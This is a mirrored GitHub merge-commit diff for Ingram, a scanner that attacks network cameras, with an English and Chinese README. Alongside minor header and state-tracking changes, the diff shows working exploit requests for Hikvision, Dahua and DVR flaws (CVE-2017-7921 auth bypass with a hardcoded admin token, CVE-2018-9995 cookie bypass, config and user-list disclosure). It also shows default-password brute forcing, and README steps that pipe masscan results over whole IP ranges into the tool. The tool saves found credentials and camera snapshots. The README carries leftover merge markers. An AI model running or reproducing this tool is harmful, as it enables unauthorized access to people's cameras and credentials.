mirror of
https://github.com/jorhelp/Ingram.git
synced 2026-10-16 21:20:40 +08:00
Merge branch 'master' into master
This commit is contained in:
@@ -8,7 +8,7 @@ from Ingram.utils import logger
|
||||
|
||||
|
||||
def cve_2017_14514(ip: str) -> list:
|
||||
headers = {'User-Agent': config.USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
|
||||
url = f"http://{ip}/cgi-bin/DownloadCfg/RouterCfm.cfg"
|
||||
|
||||
try:
|
||||
|
||||
@@ -50,7 +50,7 @@ def config_decryptor(data):
|
||||
|
||||
|
||||
def cve_2017_7921(ip: str) -> list:
|
||||
headers = {'User-Agent': config.USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
|
||||
user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
|
||||
config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
|
||||
timeout = config.TIMEOUT
|
||||
|
||||
@@ -7,6 +7,7 @@ from Ingram.utils import logger
|
||||
|
||||
def cve_2018_9995(ip: str) -> list:
|
||||
headers = {
|
||||
'Connection': 'close',
|
||||
'User-Agent': config.USERAGENT,
|
||||
'Cookie': 'uid=admin',
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ from Ingram.utils import logger
|
||||
|
||||
|
||||
def cve_2020_25078(ip: str) -> list:
|
||||
headers = {'User-Agent': config.USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
|
||||
url = f"http://{ip}/config/getuser?index=0"
|
||||
|
||||
try:
|
||||
|
||||
@@ -28,4 +28,4 @@ def get_vul(dev: str) -> list:
|
||||
elif dev == config.DVR:
|
||||
return [cve_2018_9995, ]
|
||||
else:
|
||||
return None
|
||||
return []
|
||||
@@ -26,7 +26,7 @@ def disclosure(ip: str) -> list:
|
||||
if char != "124" and char != "0": decoded.append(code_table[char])
|
||||
return ''.join(decoded)
|
||||
|
||||
headers = {'User-Agent': config.USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
|
||||
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
|
||||
try:
|
||||
r = requests.get(url, headers=headers, verify=False, timeout=config.TIMEOUT)
|
||||
|
||||
@@ -15,7 +15,7 @@ USERAGENT = config.USERAGENT
|
||||
|
||||
def hikvision_weak(ip: str) -> list:
|
||||
url = f"http://{ip}/ISAPI/Security/userCheck"
|
||||
headers = {'User-Agent': USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
|
||||
timeout = TIMEOUT
|
||||
for user in USERS:
|
||||
for passwd in PASSWDS:
|
||||
@@ -105,7 +105,7 @@ def dahua_weak(ip: str) -> list:
|
||||
|
||||
|
||||
def cctv_weak(ip: str) -> list:
|
||||
headers = {'User-Agent': USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
|
||||
for user in USERS:
|
||||
for passwd in PASSWDS:
|
||||
url = f'http://{ip}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{passwd}"><config base=""/><playback base=""/></rpermission></juan>'
|
||||
@@ -123,12 +123,12 @@ def cctv_weak(ip: str) -> list:
|
||||
|
||||
# still bugs...
|
||||
def uniview_weak(ip: str) -> list:
|
||||
headers = {'User-Agent': USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
|
||||
|
||||
|
||||
# still bugs...
|
||||
def dlink_weak(ip: str) -> list:
|
||||
headers = {'User-Agent': USERAGENT}
|
||||
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
|
||||
for user in USERS:
|
||||
for p in PASSWDS:
|
||||
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
|
||||
|
||||
+13
-13
@@ -22,6 +22,7 @@ class Data:
|
||||
self.var_lock = RLock()
|
||||
self.file_lock = RLock()
|
||||
self.create_time = get_current_time()
|
||||
self.runned_time = 0
|
||||
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()
|
||||
|
||||
self.total = 0
|
||||
@@ -43,8 +44,12 @@ class Data:
|
||||
# done
|
||||
state_file = os.path.join(self.output, f'.{self.taskid}')
|
||||
if os.path.exists(state_file):
|
||||
with open(state_file, 'r') as f:
|
||||
self.done = int(f.readline().strip())
|
||||
try:
|
||||
with open(state_file, 'r') as f:
|
||||
_done, _runned_time = f.readline().split(',')
|
||||
self.done = int(_done.strip())
|
||||
self.runned_time = float(_runned_time.strip())
|
||||
except: pass
|
||||
|
||||
# found
|
||||
results_file = os.path.join(self.output, 'results.csv')
|
||||
@@ -80,24 +85,19 @@ class Data:
|
||||
yield ip
|
||||
|
||||
def get_total(self):
|
||||
with self.var_lock:
|
||||
return self.total
|
||||
with self.var_lock: return self.total
|
||||
|
||||
def get_done(self):
|
||||
with self.var_lock:
|
||||
return self.done
|
||||
with self.var_lock: return self.done
|
||||
|
||||
def get_found(self):
|
||||
with self.var_lock:
|
||||
return self.found
|
||||
with self.var_lock: return self.found
|
||||
|
||||
def found_add(self):
|
||||
with self.var_lock:
|
||||
self.found += 1
|
||||
with self.var_lock: self.found += 1
|
||||
|
||||
def done_add(self):
|
||||
with self.var_lock:
|
||||
self.done += 1
|
||||
with self.var_lock: self.done += 1
|
||||
|
||||
def vul_add(self, item):
|
||||
with self.file_lock:
|
||||
@@ -111,7 +111,7 @@ class Data:
|
||||
|
||||
def record_running_state(self):
|
||||
with open(os.path.join(self.output, f".{self.taskid}"), 'w') as f:
|
||||
f.write(str(self.done))
|
||||
f.write(f"{str(self.done)},{self.runned_time + get_current_time() - self.create_time}")
|
||||
|
||||
def __del__(self):
|
||||
try: # if dont use try, sys.exit() may cause error
|
||||
|
||||
+1
-2
@@ -37,7 +37,7 @@ def status(core):
|
||||
try:
|
||||
while True:
|
||||
if tmp % 15 == 0: # every ~1s
|
||||
time_interval = get_current_time() - core.create_time
|
||||
time_interval = get_current_time() - core.data.create_time + core.data.runned_time
|
||||
core.data.record_running_state()
|
||||
total = core.data.get_total()
|
||||
done = core.data.get_done()
|
||||
@@ -58,7 +58,6 @@ class Core:
|
||||
|
||||
def __init__(self):
|
||||
self.finish = False
|
||||
self.create_time = get_current_time()
|
||||
self.data = Data(config.IN, config.OUT)
|
||||
self.workshop = Workshop(os.path.join(config.OUT, 'snapshots'), config.TH // 4)
|
||||
self.scan = Scan(self.data, self.workshop, config.PORT)
|
||||
|
||||
+1
-1
@@ -41,7 +41,7 @@ class Scan:
|
||||
self.workshop.put(msg)
|
||||
self.data.found_add()
|
||||
self.data.vul_add(','.join(msg[:6]) + '\n')
|
||||
if not vulnerable:
|
||||
if mods and not vulnerable:
|
||||
record.append((port, device))
|
||||
|
||||
except Exception as e:
|
||||
|
||||
@@ -20,7 +20,7 @@ DEV_HASH = {
|
||||
'1536f25632f78fb03babedcb156d3f69': config.UNIVIEW_NVR,
|
||||
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # bugs
|
||||
}
|
||||
HEADERS = {'User-Agent': config.USERAGENT}
|
||||
HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT}
|
||||
TIMEOUT = config.TIMEOUT
|
||||
|
||||
|
||||
@@ -86,4 +86,4 @@ def port_detect(ip: str, port: str) -> bool:
|
||||
except Exception as e:
|
||||
s.close()
|
||||
logger.error(e)
|
||||
return False
|
||||
return False
|
||||
|
||||
@@ -2,8 +2,8 @@
|
||||
import os
|
||||
import requests
|
||||
from functools import partial
|
||||
from xml.etree import ElementTree
|
||||
from requests.auth import HTTPDigestAuth
|
||||
from xml.etree import ElementTree
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logger
|
||||
@@ -11,7 +11,7 @@ from Ingram.utils import get_user_agent
|
||||
|
||||
|
||||
TIMEOUT = config.TIMEOUT
|
||||
HEADERS = {'User-Agent': config.USERAGENT, }
|
||||
HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT }
|
||||
|
||||
|
||||
def _snapshot_by_url(url, file_name, workshop, auth=None):
|
||||
@@ -44,7 +44,10 @@ def snapshot(camera_info, workshop):
|
||||
# get channels
|
||||
channels = 1
|
||||
try:
|
||||
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd))
|
||||
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels",
|
||||
auth=HTTPDigestAuth(user, passwd),
|
||||
headers=HEADERS,
|
||||
timeout=TIMEOUT)
|
||||
root = ElementTree.fromstring(r.text)
|
||||
channels = len(root)
|
||||
except Exception as e:
|
||||
|
||||
@@ -326,7 +326,11 @@ def generate_logo() -> list:
|
||||
font = random.choice(ingram_fonts).split('\n')
|
||||
font_width = max([len(i) for i in font])
|
||||
font_height = len(font)
|
||||
if font_width + icon_width + 2 < os.get_terminal_size()[0]:
|
||||
try:
|
||||
if font_width + icon_width + 2 < os.get_terminal_size()[0]:
|
||||
found = True
|
||||
break
|
||||
except:
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/logo.png">
|
||||
</div>
|
||||
|
||||
|
||||
<!-- icons -->
|
||||
<div align=center>
|
||||
<img alt="Platform" src="https://img.shields.io/badge/platform-Linux%20|%20Mac-blue.svg">
|
||||
<img alt="Python Version" src="https://img.shields.io/badge/python-3.7|3.8-yellow.svg">
|
||||
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
|
||||
<img alt="Github Checks" src="https://img.shields.io/github/checks-status/jorhelp/Ingram/master">
|
||||
<img alt="GitHub Last Commit (master)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
|
||||
<img alt="Languages Count" src="https://img.shields.io/github/languages/count/jorhelp/Ingram?style=social">
|
||||
</div>
|
||||
|
||||
English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README.md)
|
||||
|
||||
## Intro
|
||||
|
||||
This is a web camera device vulnerability scanning tool, which already supports Hikvision, Dahua and other devices
|
||||
|
||||
<div align=center>
|
||||
<img alt="run" src="https://github.com/jorhelp/imgs/blob/master/Ingram/run_time.gif">
|
||||
</div>
|
||||
|
||||
|
||||
## Installation
|
||||
|
||||
**There are still bugs running on windows, so linux or mac is recommended. Please make sure you have installed Python >= 3.7**
|
||||
|
||||
+ Firstly, clone this repo:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
```
|
||||
|
||||
+ Then, go to the repo dir, create a virtual environment and activate it:
|
||||
```bash
|
||||
cd Ingram
|
||||
pip3 install virtualenv
|
||||
python3 -m virtualenv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
+ After that, install dependencies:
|
||||
```bash
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
So far, it has been installed!
|
||||
|
||||
|
||||
## Run
|
||||
|
||||
+ Since it is configured in a virtual environment, pls activate the virtual environment before each running
|
||||
|
||||
+ You need to prepare an object file, let's name it `input`, which contains the targets that will be scanned. The `input` file content can be:
|
||||
```
|
||||
# use '#' to comment
|
||||
|
||||
# single ip
|
||||
192.168.0.1
|
||||
|
||||
# ip with a port
|
||||
192.168.0.2:80
|
||||
|
||||
# ip segment ('/')
|
||||
192.168.0.0/16
|
||||
|
||||
# ip segment ('-')
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ With the `input`, we start scanning:
|
||||
```bash
|
||||
python run_ingram.py -i input -o output
|
||||
```
|
||||
|
||||
+ If you specified the port like: `x.x.x.x:80`, then the 80 port will be scanned, otherwise common ports will be scanned(defined in `Ingram/utils/config.py`). And you can also override it with the `-p` argument such as:
|
||||
```bash
|
||||
python run_ingram.py -i input -o output -p 80 81 8000
|
||||
```
|
||||
|
||||
+ The number of coroutines can be controlled by the `-t` argument:
|
||||
```bash
|
||||
python run_ingram.py -i input -o output -t 300
|
||||
```
|
||||
|
||||
+ all arguments:
|
||||
```
|
||||
optional arguments:
|
||||
-h, --help print help info
|
||||
-i IN_FILE, --in_file IN_FILE
|
||||
the input file
|
||||
-o OUT_DIR, --out_dir OUT_DIR
|
||||
the output file
|
||||
-p PORT [PORT ...], --port PORT [PORT ...]
|
||||
port
|
||||
-t TH_NUM, --th_num TH_NUM
|
||||
coroutines number
|
||||
-T TIME_OUT, --time_out TIME_OUT
|
||||
time out
|
||||
--debug debug
|
||||
```
|
||||
|
||||
|
||||
## Port scanner
|
||||
|
||||
+ We can use powerful port scanner to obtain active hosts, thereby reducing the scanning range of Ingram and improving the running speed. The specific method is to organize the result file of the port scanner into the format of `ip:port` and use it as the input file of Ingram
|
||||
|
||||
+ Here is a brief demonstration of masscan as an example (the detailed usage of masscan will not be repeated here).
|
||||
|
||||
+ First, use masscan to scan the surviving host on port 80 or 8000-8008 (you sure can change the port anything else if you want): `masscan -p80,8000-8008 -iL INPUT -oL OUTPUT --rate 8000`
|
||||
|
||||
+ After masscan is done, sort out the result file: `grep 'open' OUTPUT | awk '{printf"%s:%s\n", $4, $3} > input'`
|
||||
|
||||
+ Then, start your show: `python run_ingram.py -i input -o output`
|
||||
|
||||
|
||||
## Output
|
||||
|
||||
```bash
|
||||
.
|
||||
├── not_vulnerable.csv
|
||||
├── results.csv
|
||||
├── snapshots
|
||||
└── log.txt
|
||||
```
|
||||
|
||||
+ `results.csv` contains the vulnerable devices: `ip,port,device-type,user,passwd,vul`:
|
||||
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/results.png">
|
||||
</div>
|
||||
|
||||
+ `not_vulnerable.csv` contains the not vulnerable devices
|
||||
|
||||
+ `snapshots` contains some snapshots of a part of devices (not all device can have a snapshot!!!):
|
||||
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/snapshots.png">
|
||||
</div>
|
||||
|
||||
|
||||
## Thanks & Reference
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
|
||||
@@ -13,8 +13,12 @@
|
||||
<img alt="Languages Count" src="https://img.shields.io/github/languages/count/jorhelp/Ingram?style=social">
|
||||
</div>
|
||||
|
||||
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.en.md)
|
||||
|
||||
|
||||
## Introduction
|
||||
=======
|
||||
|
||||
|
||||
Mainly for the vulnerability scanning framework of network cameras, it has integrated common equipment such as Hikvision, Dahua, and Uniview. More camera devices and router devices will be added later.
|
||||
<div align=center>
|
||||
@@ -31,10 +35,18 @@ Mainly for the vulnerability scanning framework of network cameras, it has integ
|
||||
git clone https://github.com/avikowy/Ingram.git
|
||||
```
|
||||
|
||||
|
||||
+ Enter the project directory to install dependencies:
|
||||
|
||||
```bash
|
||||
cd Ingram
|
||||
pip3 install git+https://github.com/arthaud/python3-pwntools.git
|
||||
pip3 install virtualenv
|
||||
python3 -m virtualenv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
+ 安装依赖:
|
||||
```bash
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
@@ -43,7 +55,9 @@ So far the installation is complete!
|
||||
|
||||
## run
|
||||
|
||||
|
||||
+ You need to prepare a target file, such as target.txt, which stores the IP addresses you want to scan, one target per line, the specific format is as follows:
|
||||
|
||||
```
|
||||
# You can use the pound sign (#) to comment
|
||||
# single IP address
|
||||
@@ -56,7 +70,9 @@ So far the installation is complete!
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
|
||||
+ run after:
|
||||
|
||||
```bash
|
||||
python run_ingram.py -i files you want to scan -o output folder
|
||||
```
|
||||
@@ -91,7 +107,25 @@ optional arguments:
|
||||
--debug debug mode
|
||||
```
|
||||
|
||||
|
||||
+ (**Optional**) The scan time may be very long, if you want to send a reminder via WeChat when the program scan is over, you need to follow [wxpusher](https://wxpusher.zjiecode.com/docs /) to get your own *UID* and *APP_TOKEN* and write them into `run_ingram.py`:
|
||||
=======
|
||||
|
||||
## 端口扫描器
|
||||
|
||||
+ 我们可以利用强大的端口扫描器来获取活动主机,进而缩小 Ingram 的扫描范围,提高运行速度,具体做法是将端口扫描器的结果文件整理成 `ip:port` 的格式,并作为 Ingram 的输入
|
||||
|
||||
+ 这里以 masscan 为例简单演示一下(masscan 的详细用法这里不再赘述),首先用 masscan 扫描 80 或 8000-8008 端口存活的主机:`masscan -p80,8000-8008 -iL 目标文件 -oL 结果文件 --rate 8000`
|
||||
|
||||
+ masscan 运行完之后,将结果文件整理一下:`grep 'open' 结果文件 | awk '{printf"%s:%s\n", $4, $3} > targets'`
|
||||
|
||||
+ 之后对这些主机进行扫描:`python run_ingram.py -i targets -o out`
|
||||
|
||||
|
||||
## 微信提醒(可有可无)
|
||||
|
||||
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `run_ingram.py`:
|
||||
|
||||
```python
|
||||
#wechat
|
||||
config.set_val('WXUID', 'write uid here')
|
||||
@@ -101,6 +135,7 @@ config.set_val('WXTOKEN', 'write token here')
|
||||
+ Support interruption recovery, but because the running status is recorded every 5 minutes, it cannot accurately restore to the last running status. (It's rough here, it will be adjusted in the next version)
|
||||
|
||||
|
||||
|
||||
## result
|
||||
|
||||
```bash
|
||||
|
||||
+2
-1
@@ -8,4 +8,5 @@ ndjson>=0.3.1
|
||||
pycryptodome>=3.9.7
|
||||
tzlocal>=2.1
|
||||
pyOpenSSL>=19.1.0
|
||||
pwn~=1.0
|
||||
pwn~=1.0
|
||||
pwntools>=4.3.1
|
||||
Reference in New Issue
Block a user